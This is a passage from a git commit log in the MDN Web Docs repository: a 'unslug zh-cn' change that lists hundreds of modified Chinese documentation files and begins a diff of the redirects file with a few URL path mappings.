-{{ languages( { "en": "en/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces", "fr": "fr/Explorer_un_tableau_HTML_avec_des_interfaces_DOM_et_JavaScript", "ja": "ja/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces" } ) }}
-- cgit v1.2.3-54-g00ecf From fc56124ac4eda6b3f0349c8a16fa750f27b4c7d6 Mon Sep 17 00:00:00 2001 From: Florian Merz Date: Thu, 11 Feb 2021 12:56:53 +0100 Subject: unslug zh-cn: modify --- files/zh-cn/_redirects.txt | 1107 +- files/zh-cn/_wikihistory.json | 32758 +++++++++---------- files/zh-cn/conflicting/glossary/chrome/index.html | 3 +- .../zh-cn/conflicting/glossary/doctype/index.html | 3 +- .../conflicting/learn/common_questions/index.html | 3 +- .../cascade_and_inheritance/index.html | 3 +- .../learn/css/building_blocks/index.html | 3 +- .../learn/css/building_blocks/selectors/index.html | 3 +- .../css/building_blocks/styling_tables/index.html | 3 +- .../building_blocks/values_and_units/index.html | 3 +- .../conflicting/learn/css/css_layout/index.html | 3 +- .../first_steps/how_css_is_structured/index.html | 3 +- .../learn/css/first_steps/how_css_works/index.html | 3 +- .../index.html | 6 +- .../index.html | 4 +- .../conflicting/learn/css/first_steps/index.html | 5 +- .../learn/css/styling_text/fundamentals/index.html | 5 +- .../index.html | 4 +- .../css/styling_text/styling_lists/index.html | 3 +- .../javascript_basics/index.html | 3 +- .../creating_hyperlinks/index.html | 3 +- .../video_and_audio_content/index.html | 3 +- files/zh-cn/conflicting/learn/index.html | 3 +- .../manipulating_documents/index.html | 3 +- .../learn/javascript/objects/index.html | 3 +- .../learn/server-side/django/index.html | 3 +- .../index.html | 3 +- files/zh-cn/conflicting/mdn/contribute/index.html | 7 +- .../mdn/guidelines/css_style_guide/index.html | 3 +- .../webextensions/user_interface/index.html | 3 +- .../tools/keyboard_shortcuts/index.html | 3 +- .../zh-cn/conflicting/tools/performance/index.html | 3 +- .../zh-cn/conflicting/web/accessibility/index.html | 3 +- .../web/api/canvas_api/tutorial/index.html | 3 +- .../web/api/crypto/getrandomvalues/index.html | 3 +- .../web/api/document/characterset/index.html | 3 +- .../web/api/document/createevent/index.html | 3 +- .../web/api/document/hasfocus/index.html | 3 +- .../web/api/document_object_model/index.html | 3 +- .../index.html | 3 +- .../elementfrompoint/index.html | 3 +- .../elementsfrompoint/index.html | 3 +- .../documentorshadowroot/getselection/index.html | 3 +- .../documentorshadowroot/stylesheets/index.html | 3 +- .../zh-cn/conflicting/web/api/dommatrix/index.html | 3 +- files/zh-cn/conflicting/web/api/element/index.html | 3 +- .../web/api/event/composedpath/index.html | 3 +- .../api/eventtarget/addeventlistener/index.html | 3 +- .../web/api/eventtarget/dispatchevent/index.html | 3 +- .../api/eventtarget/removeeventlistener/index.html | 3 +- .../introduction/index.html | 3 +- .../conflicting/web/api/geolocation/index.html | 3 +- .../ongotpointercapture/index.html | 3 +- .../api/globaleventhandlers/onmouseup/index.html | 3 +- .../api/globaleventhandlers/onscroll/index.html | 3 +- .../api/globaleventhandlers/ontouchmove/index.html | 3 +- .../web/api/htmlelement/outertext/index.html | 3 +- .../web/api/htmlinputelement/index.html | 3 +- .../api/htmlmediaelement/abort_event/index.html | 3 +- files/zh-cn/conflicting/web/api/index.html | 3 +- .../web/api/mouseevent/altkey/index.html | 3 +- .../web/api/mouseevent/button/index.html | 3 +- .../web/api/mouseevent/relatedtarget/index.html | 3 +- .../web/api/mouseevent/shiftkey/index.html | 3 +- .../web/api/node/getrootnode/index.html | 3 +- files/zh-cn/conflicting/web/api/node/index.html | 3 +- .../index.html | 3 +- .../zh-cn/conflicting/web/api/push_api/index.html | 3 +- files/zh-cn/conflicting/web/api/url/index.html | 3 +- .../conflicting/web/api/web_storage_api/index.html | 3 +- .../conflicting/web/api/webrtc_api/index.html | 3 +- .../web/api/webrtc_api/protocols/index.html | 3 +- .../signaling_and_video_calling/index.html | 3 +- .../index.html | 3 +- .../web/api/window/localstorage/index.html | 3 +- .../conflicting/web/api/window/moveto/index.html | 3 +- .../index.html | 3 +- .../zh-cn/conflicting/web/css/@viewport/index.html | 3 +- .../index.html | 3 +- .../index.html | 3 +- .../index.html | 3 +- .../index.html | 3 +- .../zh-cn/conflicting/web/css/_colon_is/index.html | 7 +- .../web/css/_colon_placeholder-shown/index.html | 7 +- .../web/css/_doublecolon_placeholder/index.html | 7 +- .../web/css/css_backgrounds_and_borders/index.html | 3 +- .../resizing_background_images/index.html | 3 +- .../using_multiple_backgrounds/index.html | 3 +- .../zh-cn/conflicting/web/css/css_color/index.html | 3 +- .../backwards_compatibility_of_flexbox/index.html | 3 +- .../basic_concepts_of_flexbox/index.html | 3 +- .../typical_use_cases_of_flexbox/index.html | 3 +- .../conflicting/web/css/easing-function/index.html | 3 +- .../conflicting/web/guide/html/html5/index.html | 3 +- files/zh-cn/conflicting/web/guide/index.html | 3 +- .../zh-cn/conflicting/web/guide/mobile/index.html | 3 +- .../zh-cn/conflicting/web/html/element/index.html | 3 +- .../html/quirks_mode_and_standards_mode/index.html | 3 +- files/zh-cn/conflicting/web/http/cors/index.html | 3 +- files/zh-cn/conflicting/web/http/csp/index.html | 3 +- .../index.html | 3 +- .../index.html | 3 +- files/zh-cn/conflicting/web/http/status/index.html | 3 +- .../web/javascript/guide/introduction/index.html | 3 +- .../index.html | 3 +- .../regular_expressions/assertions/index.html | 3 +- .../global_objects/arraybuffer/index.html | 3 +- .../reference/global_objects/boolean/index.html | 3 +- .../reference/global_objects/dataview/index.html | 3 +- .../reference/global_objects/date/index.html | 3 +- .../reference/global_objects/error/index.html | 3 +- .../reference/global_objects/evalerror/index.html | 3 +- .../reference/global_objects/function/index.html | 3 +- .../global_objects/generatorfunction/index.html | 3 +- .../global_objects/intl/datetimeformat/index.html | 3 +- .../reference/global_objects/map/index.html | 3 +- .../reference/global_objects/number/index.html | 3 +- .../reference/global_objects/object/index.html | 3 +- .../reference/global_objects/promise/index.html | 3 +- .../global_objects/proxy/proxy/index.html | 3 +- .../reference/global_objects/rangeerror/index.html | 3 +- .../global_objects/referenceerror/index.html | 3 +- .../reference/global_objects/regexp/index.html | 3 +- .../global_objects/sharedarraybuffer/index.html | 3 +- .../reference/global_objects/string/index.html | 3 +- .../reference/global_objects/symbol/index.html | 3 +- .../global_objects/syntaxerror/index.html | 3 +- .../reference/global_objects/typedarray/index.html | 3 +- .../reference/global_objects/typeerror/index.html | 3 +- .../reference/global_objects/urierror/index.html | 3 +- .../reference/global_objects/weakmap/index.html | 3 +- .../reference/global_objects/weakset/index.html | 3 +- .../reference/lexical_grammar/index.html | 3 +- .../web/javascript/reference/operators/index.html | 3 +- .../index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../index.html | 4 +- .../reference/statements/switch/index.html | 3 +- .../zh-cn/conflicting/web/media/formats/index.html | 5 +- .../web/progressive_web_apps/index.html | 3 +- .../progressive_web_apps/introduction/index.html | 3 +- .../responsive_design_building_blocks/index.html | 4 +- .../index.html | 3 +- .../index.html | 3 +- .../web/web_components/using_shadow_dom/index.html | 3 +- .../index.html | 3 +- files/zh-cn/games/introduction/index.html | 3 +- .../index.html | 3 +- .../publishing_games/game_monetization/index.html | 3 +- .../control_mechanisms/mobile_touch/index.html | 3 +- .../finishing_up/index.html | 3 +- .../mouse_controls/index.html | 3 +- files/zh-cn/glossary/abstraction/index.html | 3 +- files/zh-cn/glossary/algorithm/index.html | 3 +- files/zh-cn/glossary/arpa/index.html | 3 +- files/zh-cn/glossary/asynchronous/index.html | 3 +- files/zh-cn/glossary/base64/index.html | 3 +- files/zh-cn/glossary/baseline/index.html | 3 +- files/zh-cn/glossary/browser/index.html | 3 +- files/zh-cn/glossary/card_sorting/index.html | 3 +- files/zh-cn/glossary/character_encoding/index.html | 3 +- files/zh-cn/glossary/compile/index.html | 3 +- files/zh-cn/glossary/compile_time/index.html | 3 +- files/zh-cn/glossary/cross_axis/index.html | 3 +- files/zh-cn/glossary/database/index.html | 3 +- files/zh-cn/glossary/dhtml/index.html | 3 +- .../zh-cn/glossary/digital_certificate/index.html | 3 +- files/zh-cn/glossary/domain_name/index.html | 3 +- files/zh-cn/glossary/element/index.html | 3 +- files/zh-cn/glossary/empty_element/index.html | 3 +- .../glossary/forbidden_header_name/index.html | 3 +- files/zh-cn/glossary/general_header/index.html | 3 +- .../zh-cn/glossary/graceful_degradation/index.html | 3 +- files/zh-cn/glossary/http_header/index.html | 3 +- files/zh-cn/glossary/idempotent/index.html | 3 +- files/zh-cn/glossary/iife/index.html | 3 +- files/zh-cn/glossary/ip_address/index.html | 3 +- files/zh-cn/glossary/localization/index.html | 3 +- files/zh-cn/glossary/main_axis/index.html | 3 +- files/zh-cn/glossary/oop/index.html | 3 +- files/zh-cn/glossary/origin/index.html | 3 +- .../glossary/progressive_enhancement/index.html | 3 +- files/zh-cn/glossary/proxy_server/index.html | 3 +- files/zh-cn/glossary/pseudo-class/index.html | 3 +- files/zh-cn/glossary/request_header/index.html | 3 +- files/zh-cn/glossary/semantics/index.html | 3 +- files/zh-cn/glossary/serialization/index.html | 3 +- files/zh-cn/glossary/simple_header/index.html | 3 +- files/zh-cn/glossary/sloppy_mode/index.html | 3 +- .../zh-cn/glossary/speculative_parsing/index.html | 3 +- files/zh-cn/glossary/time_to_first_byte/index.html | 3 +- files/zh-cn/glossary/type_conversion/index.html | 3 +- files/zh-cn/glossary/xhtml/index.html | 3 +- .../accessibility/css_and_javascript/index.html | 3 +- files/zh-cn/learn/accessibility/html/index.html | 3 +- .../learn/accessibility/multimedia/index.html | 3 +- .../available_text_editors/index.html | 3 +- .../how_does_the_internet_work/index.html | 3 +- .../what_are_browser_developer_tools/index.html | 3 +- .../building_blocks/a_cool_looking_box/index.html | 3 +- .../creating_fancy_letterheaded_paper/index.html | 3 +- .../fundamental_css_comprehension/index.html | 3 +- .../handling_different_text_directions/index.html | 3 +- .../css_layout/legacy_layout_methods/index.html | 3 +- .../learn/css/css_layout/positioning/index.html | 3 +- .../css/first_steps/getting_started/index.html | 3 +- .../learn/css/first_steps/how_css_works/index.html | 3 +- files/zh-cn/learn/css/howto/css_faq/index.html | 3 +- .../learn/css/howto/generated_content/index.html | 3 +- .../learn/css/styling_text/fundamentals/index.html | 3 +- files/zh-cn/learn/css/styling_text/index.html | 3 +- .../css/styling_text/styling_links/index.html | 3 +- .../css/styling_text/styling_lists/index.html | 3 +- .../styling_text/typesetting_a_homepage/index.html | 3 +- .../learn/css/styling_text/web_fonts/index.html | 3 +- .../learn/forms/advanced_form_styling/index.html | 3 +- .../forms/basic_native_form_controls/index.html | 3 +- files/zh-cn/learn/forms/form_validation/index.html | 3 +- .../example_1/index.html | 3 +- .../example_2/index.html | 3 +- .../example_3/index.html | 3 +- .../example_4/index.html | 3 +- .../how_to_build_custom_form_controls/index.html | 3 +- .../forms/how_to_structure_a_web_form/index.html | 3 +- .../forms/html_forms_in_legacy_browsers/index.html | 3 +- files/zh-cn/learn/forms/index.html | 3 +- .../index.html | 3 +- .../sending_and_retrieving_form_data/index.html | 3 +- .../sending_forms_through_javascript/index.html | 3 +- .../zh-cn/learn/forms/styling_web_forms/index.html | 3 +- files/zh-cn/learn/forms/your_first_form/index.html | 3 +- .../author_fast-loading_html_pages/index.html | 3 +- .../html/howto/use_data_attributes/index.html | 3 +- .../document_and_website_structure/index.html | 3 +- .../other_embedding_technologies/index.html | 3 +- .../javascript/asynchronous/async_await/index.html | 5 +- .../choosing_the_right_approach/index.html | 3 +- .../javascript/asynchronous/concepts/index.html | 3 +- .../zh-cn/learn/javascript/asynchronous/index.html | 3 +- .../javascript/asynchronous/introducing/index.html | 3 +- .../javascript/asynchronous/promises/index.html | 3 +- .../asynchronous/timeouts_and_intervals/index.html | 3 +- .../building_blocks/image_gallery/index.html | 3 +- .../adding_bouncing_balls_features/index.html | 3 +- .../index.html | 5 +- .../performance/perceived_performance/index.html | 3 +- .../configuring_server_mime_types/index.html | 3 +- .../learn/server-side/django/admin_site/index.html | 3 +- .../django/development_environment/index.html | 3 +- .../learn/server-side/django/home_page/index.html | 3 +- .../introduction/index.html | 3 +- .../cross_browser_testing/accessibility/index.html | 3 +- .../testing_strategies/index.html | 3 +- files/zh-cn/mdn/at_ten/index.html | 3 +- .../index.html | 3 +- .../index.html | 3 +- .../guidelines/does_this_belong_on_mdn/index.html | 3 +- .../mdn/guidelines/writing_style_guide/index.html | 3 +- .../macros/commonly-used_macros/index.html | 3 +- files/zh-cn/mdn/yari/index.html | 3 +- .../add-ons/webextensions/api/clipboard/index.html | 3 +- .../api/clipboard/setimagedata/index.html | 3 +- .../api/devtools/inspectedwindow/index.html | 3 +- .../add-ons/webextensions/api/menus/index.html | 3 +- .../webextensions/api/tabs/query/index.html | 3 +- .../build_a_cross_browser_extension/index.html | 3 +- .../implement_a_settings_page/index.html | 3 +- .../manifest.json/homepage_url/index.html | 3 +- .../user_interface/sidebars/index.html | 3 +- .../your_second_webextension/index.html | 3 +- .../releases/19/site_compatibility/index.html | 3 +- .../releases/21/site_compatibility/index.html | 3 +- .../releases/23/site_compatibility/index.html | 3 +- .../releases/24/site_compatibility/index.html | 3 +- .../releases/3/updating_extensions/index.html | 3 +- .../zh-cn/orphaned/example_2_-_using_ul/index.html | 3 +- .../games/tools/engines_and_tools/index.html | 3 +- .../orphaned/glossary_of_translation/index.html | 3 +- .../orphaned/learn/how_to_contribute/index.html | 3 +- .../learn/html/forms/html5_updates/index.html | 3 +- .../learn/html/forms_and_buttons/index.html | 3 +- .../mdn/community/conversations/index.html | 3 +- .../orphaned/mdn/community/doc_sprints/index.html | 3 +- files/zh-cn/orphaned/mdn/community/index.html | 3 +- .../mdn/community/whats_happening/index.html | 3 +- .../mdn/community/working_in_community/index.html | 3 +- .../contribute/howto/be_a_beta_tester/index.html | 3 +- .../howto/create_an_mdn_account/index.html | 3 +- .../howto/do_a_technical_review/index.html | 3 +- .../howto/do_an_editorial_review/index.html | 3 +- .../howto/set_the_summary_for_a_page/index.html | 3 +- .../howto/tag_javascript_pages/index.html | 3 +- .../index.html | 3 +- files/zh-cn/orphaned/mdn/editor/basics/index.html | 3 +- .../mdn/editor/basics/page_controls/index.html | 3 +- .../mdn/editor/basics/page_info/index.html | 3 +- files/zh-cn/orphaned/mdn/editor/index.html | 3 +- .../mdn/editor/keyboard_shortcuts/index.html | 3 +- .../orphaned/mdn/editor/source_mode/index.html | 3 +- .../simple_live_sample_demo/index.html | 3 +- .../package_your_extension_/index.html | 3 +- .../porting_a_google_chrome_extension/index.html | 3 +- .../temporary_installation_in_firefox/index.html | 3 +- .../orphaned/mozilla/mozilla_persona/index.html | 3 +- files/zh-cn/orphaned/tools/add-ons/index.html | 3 +- .../orphaned/web/api/analysernode/fft/index.html | 3 +- .../audiocontext/mozaudiochanneltype/index.html | 3 +- .../api/audionode/connect(audioparam)/index.html | 3 +- .../simple_document.cookie_framework/index.html | 3 +- files/zh-cn/orphaned/web/api/entity/index.html | 3 +- .../orphaned/web/api/fetchobserver/index.html | 3 +- .../zh-cn/orphaned/web/api/msselection/index.html | 3 +- files/zh-cn/orphaned/web/api/namelist/index.html | 3 +- .../index.html" | 3 +- .../orphaned/web/api/notification/sound/index.html | 3 +- .../orphaned/web/api/textrange/text/index.html | 3 +- .../websocket_server_vb.net/index.html | 3 +- .../web/api/window/getattention/index.html | 3 +- .../css/css\345\237\272\347\241\200/index.html" | 5 +- .../zh-cn/orphaned/web/guide/html/html/index.html | 3 +- .../orphaned/web/html/element/command/index.html | 3 +- .../orphaned/web/html/element/element/index.html | 3 +- .../web/html/global_attributes/dropzone/index.html | 3 +- .../index.html" | 3 +- .../index.html" | 3 +- .../global_objects/array/prototype/index.html | 3 +- .../asyncfunction/prototype/index.html | 3 +- .../global_objects/asynciterator/index.html | 3 +- files/zh-cn/orphaned/web/localization/index.html | 3 +- .../information_security_basics/index.html | 3 +- .../orphaned/web/specification_list/index.html | 3 +- .../web_components/status_in_firefox/index.html | 3 +- files/zh-cn/tools/3d_view/index.html | 3 +- files/zh-cn/tools/deprecated_tools/index.html | 3 +- .../page_inspector/how_to/edit_fonts/index.html | 3 +- .../index.html | 3 +- .../zh-cn/tools/responsive_design_mode/index.html | 3 +- files/zh-cn/tools/storage_inspector/index.html | 3 +- files/zh-cn/tools/tips/index.html | 3 +- files/zh-cn/tools/web_audio_editor/index.html | 3 +- .../using_the_aria-hidden_attribute/index.html | 3 +- .../aria/roles/button_role/index.html | 3 +- .../zh-cn/web/api/abortcontroller/abort/index.html | 3 +- .../api/abortcontroller/abortcontroller/index.html | 3 +- files/zh-cn/web/api/abortcontroller/index.html | 3 +- .../zh-cn/web/api/ambient_light_events/index.html | 3 +- .../api/ambientlightsensor/illuminance/index.html | 3 +- .../api/baseaudiocontext/createanalyser/index.html | 3 +- .../baseaudiocontext/createbiquadfilter/index.html | 3 +- .../api/baseaudiocontext/createbuffer/index.html | 3 +- .../baseaudiocontext/createbuffersource/index.html | 3 +- .../createchannelmerger/index.html | 3 +- .../createchannelsplitter/index.html | 3 +- .../baseaudiocontext/createconvolver/index.html | 3 +- .../api/baseaudiocontext/createdelay/index.html | 3 +- .../createscriptprocessor/index.html | 3 +- .../baseaudiocontext/createwaveshaper/index.html | 3 +- .../api/baseaudiocontext/currenttime/index.html | 3 +- .../baseaudiocontext/decodeaudiodata/index.html | 3 +- .../api/baseaudiocontext/destination/index.html | 3 +- .../web/api/baseaudiocontext/listener/index.html | 3 +- .../api/baseaudiocontext/onstatechange/index.html | 3 +- .../web/api/baseaudiocontext/samplerate/index.html | 3 +- .../web/api/baseaudiocontext/state/index.html | 3 +- .../api/broadcastchannel/message_event/index.html | 3 +- .../api/canvascapturemediastreamtrack/index.html | 3 +- .../using_channel_messaging/index.html | 3 +- .../web/api/crypto/getrandomvalues/index.html | 3 +- files/zh-cn/web/api/csspagerule/index.html | 3 +- .../api/devicemotioneventacceleration/index.html | 3 +- files/zh-cn/web/api/document/fullscreen/index.html | 3 +- .../web/api/document/fullscreenenabled/index.html | 3 +- .../api/document/onafterscriptexecute/index.html | 3 +- .../api/document/readystatechange_event/index.html | 3 +- .../web/api/document/touchmove_event/index.html | 3 +- .../index.html | 4 +- .../fullscreenelement/index.html | 3 +- .../pointerlockelement/index.html | 3 +- .../element/afterscriptexecute_event/index.html | 3 +- .../element/beforescriptexecute_event/index.html | 3 +- files/zh-cn/web/api/element/blur_event/index.html | 3 +- .../api/element/compositionend_event/index.html | 3 +- .../api/element/compositionstart_event/index.html | 3 +- .../api/element/compositionupdate_event/index.html | 3 +- files/zh-cn/web/api/element/copy_event/index.html | 3 +- files/zh-cn/web/api/element/cut_event/index.html | 3 +- .../web/api/element/domactivate_event/index.html | 3 +- files/zh-cn/web/api/element/error_event/index.html | 3 +- files/zh-cn/web/api/element/focus_event/index.html | 3 +- .../web/api/element/focusout_event/index.html | 3 +- .../web/api/element/mousewheel_event/index.html | 3 +- files/zh-cn/web/api/element/paste_event/index.html | 3 +- .../web/api/elementcssinlinestyle/style/index.html | 3 +- files/zh-cn/web/api/event/cancelbubble/index.html | 3 +- files/zh-cn/web/api/eventsource/close/index.html | 3 +- .../web/api/eventsource/eventsource/index.html | 3 +- files/zh-cn/web/api/eventsource/index.html | 3 +- files/zh-cn/web/api/eventsource/onerror/index.html | 3 +- files/zh-cn/web/api/eventsource/onopen/index.html | 3 +- .../introduction/index.html | 3 +- .../web/api/filereader/abort_event/index.html | 3 +- files/zh-cn/web/api/formdata/delete/index.html | 3 +- .../zh-cn/web/api/fullscreen_api/guide/index.html | 3 +- files/zh-cn/web/api/geolocation_api/index.html | 3 +- .../api/geolocationposition/timestamp/index.html | 3 +- .../ondurationchange/index.html | 3 +- .../htmlanchorelement/referrerpolicy/index.html | 3 +- .../api/htmlcanvaselement/capturestream/index.html | 3 +- .../zh-cn/web/api/htmlelement/accesskey/index.html | 3 +- .../api/htmlelement/animationend_event/index.html | 3 +- .../htmlelement/animationstart_event/index.html | 3 +- .../web/api/htmlelement/change_event/index.html | 3 +- .../zh-cn/web/api/htmlelement/innertext/index.html | 3 +- .../web/api/htmlelement/input_event/index.html | 3 +- .../api/htmlelement/transitionend_event/index.html | 3 +- .../api/htmlhyperlinkelementutils/hash/index.html | 3 +- .../api/htmlhyperlinkelementutils/href/index.html | 3 +- .../web/api/htmlhyperlinkelementutils/index.html | 3 +- .../htmlhyperlinkelementutils/origin/index.html | 3 +- .../htmlhyperlinkelementutils/password/index.html | 3 +- .../htmlhyperlinkelementutils/pathname/index.html | 3 +- .../htmlhyperlinkelementutils/search/index.html | 3 +- .../htmlhyperlinkelementutils/tostring/index.html | 3 +- .../htmlhyperlinkelementutils/username/index.html | 3 +- .../web/api/htmlorforeignelement/blur/index.html | 3 +- .../api/htmlorforeignelement/dataset/index.html | 3 +- .../web/api/htmlorforeignelement/focus/index.html | 3 +- .../web/api/htmlorforeignelement/nonce/index.html | 3 +- .../api/htmlorforeignelement/tabindex/index.html | 3 +- files/zh-cn/web/api/index/index.html | 3 +- .../timing_element_visibility/index.html | 3 +- .../zh-cn/web/api/mediastream/addtrack/index.html | 3 +- .../using_the_notifications_api/index.html | 3 +- .../offlineaudiocontext/complete_event/index.html | 3 +- .../api/payment_request_api/concepts/index.html | 3 +- files/zh-cn/web/api/payment_request_api/index.html | 3 +- files/zh-cn/web/api/performance/memory/index.html | 3 +- files/zh-cn/web/api/pointer_lock_api/index.html | 3 +- files/zh-cn/web/api/response/clone/index.html | 3 +- .../icecandidate_event/index.html | 3 +- .../using_screen_capture/index.html | 3 +- .../api/selection/deletefromdocument/index.html | 3 +- files/zh-cn/web/api/server-sent_events/index.html | 3 +- .../using_server-sent_events/index.html | 3 +- files/zh-cn/web/api/speechrecognition/index.html | 3 +- .../api/speechrecognition/result_event/index.html | 3 +- .../zh-cn/web/api/streams_api/concepts/index.html | 3 +- .../streams_api/using_readable_streams/index.html | 3 +- files/zh-cn/web/api/uievent/view/index.html | 3 +- files/zh-cn/web/api/url/password/index.html | 3 +- .../api/web_audio_api/best_practices/index.html | 3 +- .../structured_clone_algorithm/index.html | 3 +- .../webglrenderingcontext/polygonoffset/index.html | 3 +- .../web/api/webrtc_api/session_lifetime/index.html | 3 +- .../zh-cn/web/api/websocket/binarytype/index.html | 3 +- .../web/api/window/afterprint_event/index.html | 3 +- .../web/api/window/beforeprint_event/index.html | 3 +- .../web/api/window/beforeunload_event/index.html | 3 +- files/zh-cn/web/api/window/blur/index.html | 3 +- .../api/window/domcontentloaded_event/index.html | 3 +- files/zh-cn/web/api/window/load_event/index.html | 3 +- .../zh-cn/web/api/window/pageshow_event/index.html | 3 +- .../api/window/unhandledrejection_event/index.html | 3 +- files/zh-cn/web/api/window/unload_event/index.html | 3 +- .../windoweventhandlers/onbeforeunload/index.html | 3 +- .../windoweventhandlers/onhashchange/index.html | 3 +- .../api/windoweventhandlers/onpopstate/index.html | 3 +- .../api/windoweventhandlers/onunload/index.html | 3 +- .../api/windoworworkerglobalscope/atob/index.html | 3 +- .../api/windoworworkerglobalscope/btoa/index.html | 3 +- .../clearinterval/index.html | 3 +- .../cleartimeout/index.html | 3 +- .../setinterval/index.html | 3 +- .../settimeout/index.html | 3 +- .../api/xmlhttprequest/loadend_event/index.html | 3 +- .../api/xmlhttprequest/loadstart_event/index.html | 3 +- .../api/xmlhttprequest/progress_event/index.html | 3 +- files/zh-cn/web/api/xmlserializer/index.html | 3 +- files/zh-cn/web/css/_colon_blank/index.html | 5 +- files/zh-cn/web/css/containing_block/index.html | 3 +- .../border-radius_generator/index.html | 3 +- .../box-shadow_generator/index.html | 3 +- .../resizing_background_images/index.html | 3 +- .../index.html | 3 +- .../using_multi-column_layouts/index.html | 3 +- .../backwards_compatibility_of_flexbox/index.html | 3 +- .../index.html | 4 +- .../typical_use_cases_of_flexbox/index.html | 3 +- .../in_flow_and_out_of_flow/index.html | 3 +- files/zh-cn/web/css/css_fragmentation/index.html | 3 +- .../index.html | 5 +- .../index.html | 3 +- .../implementing_image_sprites_in_css/index.html | 3 +- .../css/css_images/using_css_gradients/index.html | 3 +- .../consistent_list_indentation/index.html | 3 +- .../using_css_counters/index.html | 3 +- .../basic_concepts/index.html | 3 +- .../floating_and_positioning/index.html | 3 +- .../adding_z-index/index.html | 3 +- .../understanding_z_index/index.html | 3 +- .../stacking_and_float/index.html | 3 +- .../stacking_context_example_1/index.html | 3 +- .../stacking_context_example_2/index.html | 3 +- .../stacking_context_example_3/index.html | 3 +- .../stacking_without_z-index/index.html | 3 +- .../the_stacking_context/index.html | 3 +- .../index.html | 7 +- .../css/cssom_view/coordinate_systems/index.html | 3 +- files/zh-cn/web/css/float/index.html | 3 +- files/zh-cn/web/css/grid-template-rows/index.html | 3 +- .../zh-cn/web/css/layout_cookbook/card/index.html | 3 +- .../css/layout_cookbook/media_objects/index.html | 3 +- files/zh-cn/web/css/media_queries/index.html | 3 +- .../media_queries/testing_media_queries/index.html | 3 +- .../media_queries/using_media_queries/index.html | 3 +- files/zh-cn/web/css/offset/index.html | 3 +- files/zh-cn/web/css/overflow-wrap/index.html | 3 +- .../web/css/text-decoration-thickness/index.html | 3 +- files/zh-cn/web/css/url()/index.html | 3 +- .../web/css/visual_formatting_model/index.html | 3 +- .../web/demos_of_open_web_technologies/index.html | 3 +- .../web/guide/html/editable_content/index.html | 3 +- .../rich-text_editing_in_mozilla/index.html | 3 +- .../using_html_sections_and_outlines/index.html | 3 +- .../introduction_to_web_development/index.html | 3 +- files/zh-cn/web/guide/woff/index.html | 3 +- .../web/html/attributes/autocomplete/index.html | 3 +- .../web/html/attributes/crossorigin/index.html | 3 +- .../zh-cn/web/html/element/input/month/index.html | 3 +- .../zh-cn/web/html/element/input/range/index.html | 3 +- .../x-ms-acceleratorkey/index.html | 3 +- .../x-ms-format-detection/index.html | 3 +- .../web/http/basics_of_http/data_uris/index.html | 3 +- files/zh-cn/web/http/caching/index.html | 3 +- .../list_of_default_accept_values/index.html | 3 +- .../errors/corsmissingallowcredentials/index.html | 3 +- files/zh-cn/web/http/cors/index.html | 5 +- files/zh-cn/web/http/feature_policy/index.html | 3 +- .../feature_policy/using_feature_policy/index.html | 3 +- .../headers/strict-transport-security/index.html | 3 +- .../http/headers/x-dns-prefetch-control/index.html | 3 +- .../web/http/headers/x-frame-options/index.html | 3 +- .../proxy_auto-configuration_pac_file/index.html | 3 +- .../regular_expressions/quantifiers/index.html | 3 +- .../classes/public_class_fields/index.html | 3 +- .../errors/cant_assign_to_property/index.html | 3 +- .../reference/global_objects/math/acosh/index.html | 3 +- .../global_objects/proxy/proxy/apply/index.html | 3 +- .../proxy/proxy/construct/index.html | 3 +- .../proxy/proxy/defineproperty/index.html | 3 +- .../proxy/proxy/deleteproperty/index.html | 3 +- .../global_objects/proxy/proxy/get/index.html | 3 +- .../proxy/getownpropertydescriptor/index.html | 3 +- .../proxy/proxy/getprototypeof/index.html | 3 +- .../global_objects/proxy/proxy/has/index.html | 3 +- .../proxy/proxy/isextensible/index.html | 3 +- .../global_objects/proxy/proxy/ownkeys/index.html | 3 +- .../proxy/proxy/preventextensions/index.html | 3 +- .../global_objects/proxy/proxy/set/index.html | 3 +- .../proxy/proxy/setprototypeof/index.html | 3 +- .../index.html | 4 +- .../global_objects/string/trimend/index.html | 3 +- .../global_objects/string/trimstart/index.html | 3 +- .../reference/operators/addition/index.html | 3 +- .../reference/operators/async_function/index.html | 3 +- .../reference/operators/bitwise_and/index.html | 3 +- .../reference/operators/decrement/index.html | 3 +- .../reference/operators/equality/index.html | 3 +- .../reference/operators/logical_and/index.html | 3 +- .../operators/optional_chaining/index.html | 3 +- .../operators/pipeline_operator/index.html | 3 +- .../reference/operators/remainder/index.html | 3 +- .../reference/template_literals/index.html | 3 +- .../index.html | 7 +- files/zh-cn/web/media/autoplay_guide/index.html | 3 +- .../index.html | 3 +- .../web/media/formats/video_codecs/index.html | 3 +- files/zh-cn/web/media/index.html | 3 +- .../web/performance/how_browsers_work/index.html | 3 +- .../add_to_home_screen/index.html | 3 +- .../web/progressive_web_apps/loading/index.html | 3 +- .../responsive/media_types/index.html | 3 +- .../web/security/subresource_integrity/index.html | 3 +- .../security/transport_layer_security/index.html | 3 +- files/zh-cn/web/svg/attribute/styling/index.html | 3 +- .../zh-cn/web/svg/attribute/text-anchor/index.html | 3 +- .../zh-cn/web/svg/tutorial/svg_and_css/index.html | 3 +- .../web/web_components/html_imports/index.html | 3 +- .../xpath/comparison_with_css_selectors/index.html | 3 +- .../index.html | 3 +- files/zh-cn/web/xslt/element/index.html | 3 +- 592 files changed, 18439 insertions(+), 17251 deletions(-) (limited to 'files') diff --git a/files/zh-cn/_redirects.txt b/files/zh-cn/_redirects.txt index b2bb370f12..9a33475883 100644 --- a/files/zh-cn/_redirects.txt +++ b/files/zh-cn/_redirects.txt @@ -6,13 +6,14 @@ /zh-CN/docs/AJAX:Getting_Started /zh-CN/docs/Web/Guide/AJAX/Getting_Started /zh-CN/docs/AJAX:开始 /zh-CN/docs/Web/Guide/AJAX/Getting_Started /zh-CN/docs/API /zh-CN/docs/Web/API +/zh-CN/docs/API/Pointer_Lock_API /zh-CN/docs/Web/API/Pointer_Lock_API /zh-CN/docs/A_Basic_RayCaster /zh-CN/docs/Web/API/Canvas_API/A_basic_ray-caster /zh-CN/docs/A_re-introduction_to_JavaScript /zh-CN/docs/Web/JavaScript/A_re-introduction_to_JavaScript /zh-CN/docs/Boolean /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean /zh-CN/docs/CORS_Enabled_Image /zh-CN/docs/Web/HTML/CORS_enabled_image /zh-CN/docs/CSS /zh-CN/docs/Web/CSS -/zh-CN/docs/CSS/:-moz-placeholder 